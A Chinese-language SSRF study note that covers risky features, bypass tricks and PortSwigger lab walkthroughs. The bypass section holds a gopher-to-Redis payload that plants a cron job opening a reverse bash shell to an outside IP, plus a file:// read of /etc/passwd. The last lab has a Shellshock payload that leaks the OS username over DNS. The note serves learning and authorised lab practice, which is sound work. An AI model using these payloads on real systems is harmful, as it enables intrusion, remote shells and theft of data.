SSRF学习笔记

SSRF学习笔记

什么是 SSRF

服务器端请求伪造(也称为 SSRF)是一种 Web 安全漏洞,允许攻击者诱导服务器端应用程序向非预期位置发出请求。

在典型的 SSRF 攻击中,攻击者可能会导致服务器与组织基础设施内的仅限内部服务建立连接。在其他情况下,他们可能会强制服务器连接到任意外部系统,从而可能泄露授权凭据等敏感数据。

SSRF 攻击的影响是什么

成功的 SSRF 攻击通常会导致未经授权的操作或访问组织内的数据,无论是在易受攻击的应用程序本身还是在应用程序可以与之通信的其他后端系统中。在某些情况下,SSRF 漏洞可能允许攻击者执行任意命令。

导致与外部第三方系统连接的 SSRF 漏洞利用可能会导致恶意攻击,这些攻击似乎源自托管易受攻击应用程序的组织。

常见功能点

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

利用方式

内网服务

  • Apache Hadoop远程命令执行
  • axis2-admin部署Server命令执行
  • Confluence SSRF
  • counchdb WEB API远程命令执行
  • dict
  • docker API远程命令执行
  • Elasticsearch引擎Groovy脚本命令执行
  • ftp / ftps(FTP爆破)
  • glassfish任意文件读取和war文件部署间接命令执行
  • gopher
  • HFS远程命令执行
  • http、https
  • imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
  • Java调试接口命令执行
  • JBOSS远程Invoker war命令执行
  • Jenkins Scripts接口命令执行
  • ldap
  • mongodb
  • php_fpm/fastcgi 命令执行
  • rtsp - smb/smbs(连接SMB)
  • sftp
  • ShellShock 命令执行
  • Struts2 命令执行
  • telnet
  • tftp(UDP协议扩展)
  • tomcat命令执行
  • WebDav PUT上传任意文件
  • WebSphere Admin可部署war间接命令执行
  • zentoPMS远程命令执行

Redis利用

  • 写ssh公钥
  • 写crontab
  • 写WebShell
  • Windows写启动项
  • 主从复制加载 .so 文件
  • 主从复制写无损文件

云主机

在AWS、Google等云环境下,通过访问云环境的元数据API或管理API,在部分情况下可以实现敏感信息等效果。

绕过小技巧

0X00 @绕过

http://www.baidu.com@10.10.10.10与http://10.10.10.10请求是相同的

该请求得到的内容都是10.10.10.10的内容,此绕过同样在URL跳转绕过中适用。

注:有些浏览器是有确认提示又一些没有提示直接跳转

0X01 ip地址转换成进制绕过

一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:

^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

对于这种过滤我们可以采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址我们可以改写成:

(1)、8进制格式:0300.0250.0.1
(2)、16进制格式:0xC0.0xA8.0.1
(3)、10进制整数格式:3232235521
(4)、16进制整数格式:0xC0A80001

还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1

Example: 115.239.210.26 = 16373751032

0X02 利用302 Redirect绕过

当URL存在临时(302)或永久(301)跳转时,则继续请求跳转后的URL

那么我们可以通过HTTP(S)的链接302跳转到gopher协议上。

我们继续构造一个302跳转服务,代码如下302.php:

<?php  
$schema = $_GET['s'];
$ip     = $_GET['i'];
$port   = $_GET['p'];
$query  = $_GET['q'];
if(empty($port)){  
    header("Location: $schema://$ip/$query"); 
} else {
    header("Location: $schema://$ip:$port/$query"); 
}

利用测试

# dict protocol - 探测Redis
dict://127.0.0.1:6379/info  
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=dict&i=127.0.0.1&port=6379&query=info'
# file protocol - 任意文件读取
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=file&query=/etc/passwd'
# gopher protocol - 一键反弹Bash
# * 注意: gopher跳转的时候转义和`url`入参的方式有些区别
curl -vvv 'http://sec.com:8082/ssrf_only_http_s.php?url=http://sec.com:8082/302.php?s=gopher&i=127.0.0.1&p=6389&query=_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0 
a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/103.21.140.84/6789%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d  
%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3
%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

0X03 利用非HTTP协议绕过

file:///
dict://
sftp://
ftp://
tftp://
ldap://
gopher://

0X04 短网址绕过

网上有很多将网址转换为短网址(短链接)的工具网站,黑客会利用短网址来绕过情报检测。

0X05 基于快速网址绕过

http://google.com:80+&@127.88.23.245:22/#+@google.com:80/
http://127.88.23.245:22/+&@google.com:80#+@google.com:80/
http://google.com:80+&@google.com:80#+@127.88.23.245:22/
http://127.88.23.245:22/?@google.com:80/
http://127.88.23.245:22/#@www.google.com:80/

0X06 添加端口可能绕过匹配正则

127.0.0.1:80

0X07 利用http://xip.io和xip.name绕过

10.0.0.1.xip.io = 10.0.0.1

www.10.0.0.1.xip.io= 10.0.0.1

mysite.10.0.0.1.xip.io = 10.0.0.1

foo.http://bar.10.0.0.1.xip.io = 10.0.0.1
10.0.0.1.xip.name resolves to 10.0.0.1

www.10.0.0.2.xip.name resolves to 10.0.0.2

foo.10.0.0.3.xip.name resolves to 10.0.0.3

bar.baz.10.0.0.4.xip.name resolves to 10.0.0.4

0X08 利用句号绕过

127。0。0。1 >>> 127.0.0.1

0X09 DNS Rebinding(DNS重绑定)绕过

请参考:https://xz.aliyun.com/t/7495

靶场练习(portswigger

针对本地服务器的基本SSRF

描述:

本实验具有库存检查功能,可从内部系统获取数据。

要解决实验室问题,请更改库存检查URL以访问http://localhost/admin的管理员界面,并删除用户carlos

wp

直接访问/admin,发现没有权限。

image-20230922140304045

访问一个产品,点击"检查库存",拦截请求,并将其发送到repeater

image-20230922140457263

发现post传入请求路径,准备修改为/admin

image-20230922140551200 image-20230922140740332

读取HTML以标识要删除目标用户的URL,该URL为:

http://localhost/admin/delete?username=carlos
image-20230922140850460

在stockApi参数中提交此URL,以传递SSRF攻击。

image-20230922141010791 image-20230922141039051

针对其他后端系统的 SSRF 攻击

描述:

本实验具有库存检查功能,可从内部系统获取数据。

要解决实验室问题,请更改库存检查URL以访问http://localhost/admin的管理员界面,并删除用户carlos

wp

访问一个产品,点击"检查库存",在Burp Suite中拦截请求

进行攻击

并将其发送到Burp Intruder
将 stockApi 参数更改为http://192.168.0.1:8080/admin

爆破c段即可

image-20230922141834295 image-20230922141908028

右键此请求,将其发送到Burp Repeater,并将stockApi中的路径更改为:

http://192.168.0.144:8080/admin/delete?username=carlos
image-20230922142024948 image-20230922142035900

绕过常见的 SSRF 防御

描述:

本实验具有库存检查功能,可从内部系统获取数据。

​ 要解决实验室问题,请更改库存检查URL以访问http://localhost/admin的管理员界面,并删除用户carlos

​ 开发者已经部署了两个你需要绕过的弱反SSRF防御。

wp

访问一个产品,点击"检查库存",使用BP拦截请求,并将其发送到repeater

改变stockApi参数为

http://127.0.0.1/

发现被拦截

image-20230922142850920

使用 ip地址转换绕过

http://127.1/
image-20230922142855034

将URL更改为

http://127.1/admin

发现被拦截,此时拦截的只能是admin

将"a"进行双URL编码为%25%36%65(admin中任何字母都行)

http://127.1/admi%25%36%65
image-20230922143356131

删除即可

http://127.1/admi%25%36%65/delete?username=carlos
image-20230922143454371

带有基于黑名单的输入过滤器的SSRF绕过

描述:

本实验具有库存检查功能,可从内部系统获取数据。

要解决实验室问题,请更改库存检查URL以访问http://localhost/admin的管理员界面,并删除用户carlos

wp

带有基于白名单的输入过滤器的 SSRF

描述:

本实验具有库存检查功能,可从内部系统获取数据。

​ 要解决实验室问题,请更改库存检查URL以访问http://localhost/admin的管理员界面,并删除用户carlos

​ 开发人员部署了一个反SSRF防御,您需要绕过。

wp

常规操作

image-20230922144425013

提示为必须是stock.weliketoshop.net,那么就@绕过

image-20230922144614154

返回500,结果表明URL解析器支持嵌入式凭据。

下面测试一下#号

#,井号:表示网页中的一个位置,被称之为锚点,常用于某个网页间不同位置的跳转,简单的说就是在一个网页中,URL 不变的情况下,通过添加“#buy”的字符在 URL 最后可以跳转到当前网页中已经定义好的锚点(id=“buy”)位置;同样#的改变也会增加浏览器的历史记录,也就是说我们可以通过“后退”按钮回到上一个位置,而熟悉网页开发的朋友们可能也会用于 ajax 的一些操作中,以此来实现不同的访问状态和改变页面访问内容,从而也可以实现那种无刷新载入的效果。

image-20230922152637618

被拒绝,双URL将#编码为%2523进行测试

image-20230922152718608

成功!

完成实验

要访问管理界面并删除目标用户,将URL更改为:

http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

通过开放重定向漏洞绕过过滤器的 SSRF

描述:

本实验具有库存检查功能,可从内部系统获取数据。

​ 要解决实验室问题,请更改库存检查URL以访问http://192.168.0.12:8080/admin的管理员界面,并删除用户carlos

​ 库存检查器被限制为只能访问本地应用程序,因此您需要首先找到影响应用程序的打开重定向。

wp

常规操作被拦截

image-20230922153228155

单击“下一个产品”并观察path参数被放置到重定向响应的Location标头中,导致打开重定向。

image-20230922153556171

创建一个利用开放重定向漏洞的URL,重定向到管理界面,并将其输入股票检查器上的stockApi参数:

/product/nextProduct?path=http://192.168.0.12:8080/admin

修改删除目标用户的路径:

/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
image-20230922154108075

跟随重定向并显示管理页面

(但是重定向没有真真的被执行)

添加重定向参数,并使用其他方式提交(因为GET提交的重定向会检查参数)

image-20230922154825438
请求头:
POST /product/stock HTTP/1.1
     
请求数据:
stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin
image-20230922155127805

最后

/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

image-20230922155318664

带外检测的盲SSRF

描述:

本网站使用分析软件,当加载产品页面时,该软件会获取Referer标题中指定的URL。

​ 要解决实验问题,请使用此功能向公共Burp Collaborator服务器发出HTTP请求。

wp

image-20230922155947934

转到中继器选项卡。选择Referer标题,右键单击并选择“插入Collaborator有效载荷”,以将原始域替换为Burp Collaborator生成的域。发送请求。

image-20230922160130025 image-20230922160219239

转到Collaborator选项卡,再刷新,查看交互信息(看到一些DNS和HTTP交互,这些交互是应用程序由于负载而启动的)

image-20230922160245291

可以关看到一些DNS和HTTP交互,这些交互是应用程序启动的,作为负载的结果。

使用 Shellshock 利用盲SSRF

描述:

本网站使用分析软件,当加载产品页面时,该软件会获取Referer标题中指定的URL。

要解决实验问题,请使用此功能对端口8080上192.168.0.X范围内的内部服务器执行盲SSRF攻击。在盲目攻击中,使用Shellshock有效负载攻击内部服务器,以泄露操作系统用户的名称。

wp

在Burp Suite Professional中,从BApp Store安装"Collaborator Everywhere"扩展

image-20230922160542137

将实验室域添加到Burp Suite的目标范围,以便Collaborator Everywhere将其作为目标。

image-20230922160724604

浏览网站,当加载产品页面时,它通过Referer头触发了与Burp Collaborator的HTTP交互

image-20230922160819642

观察HTTP交互在HTTP请求中包含User-Agent字符串。将对产品页面的请求发送给Burp Intruder

image-20230922160920936

ssrf盲测

使用Burp Collaborator 客户端生成唯一的 Burp Collaborator 有效载荷,并将其放入以下 Shellshock 有效载荷中

() { :; }; /usr/bin/nslookup $(whoami).8nwtix7qg3lsarbt1kdmysj81z7qvjj8.oastify.com

然后爆破c段

image-20230922161716037

击完成后,返回Collaborator选项卡,然后单击"立即轮询"。看到DNS交互

image-20230922161730844

提交操作系统用户的名称,完成实验。

image-20230922162031871

参考链接

https://www.ddosi.org/ssrf-lab/

https://xz.aliyun.com/t/2115

https://websec.readthedocs.io/zh/latest/vuln/ssrf.html

https://zhuanlan.zhihu.com/p/73736127

https://xz.aliyun.com/t/7495

http://t.csdn.cn/NFdy7

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值